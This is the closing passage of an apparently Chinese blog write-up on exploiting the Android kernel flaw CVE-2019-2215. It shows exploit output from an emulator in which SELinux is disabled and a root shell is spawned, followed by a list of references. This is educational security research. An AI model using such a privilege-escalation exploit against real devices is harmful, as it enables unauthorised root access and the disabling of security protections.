[*]selinuxenforcingisenabled [*]Disabledselinuxenforcing [+]Verifyingifrooted [*]uid:0x0 [*]Rootingsuccessful [+]Spawningrootshell generic_x86_64:/data/local/tmp#id uid=0(root)gid=0(root)groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc),3011(uhid)context=u:r:shell:s0 generic_x86_64:/data/local/tmp#getenforce Permissive generic_x86_64:/data/local/tmp#

可以看到我们已经实现root并禁用了SELinux。

0x03 参考资源

Linux轻量级进程

SELinux

seccomp

编译内核

Linux内核源代码交叉编译程序

Linux内核源代码

CVE-2019-2215-漏洞报告

I / O向量p>·https://zh.wikipedia.org/wiki/Vectored_I/O

漏洞利用开发

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值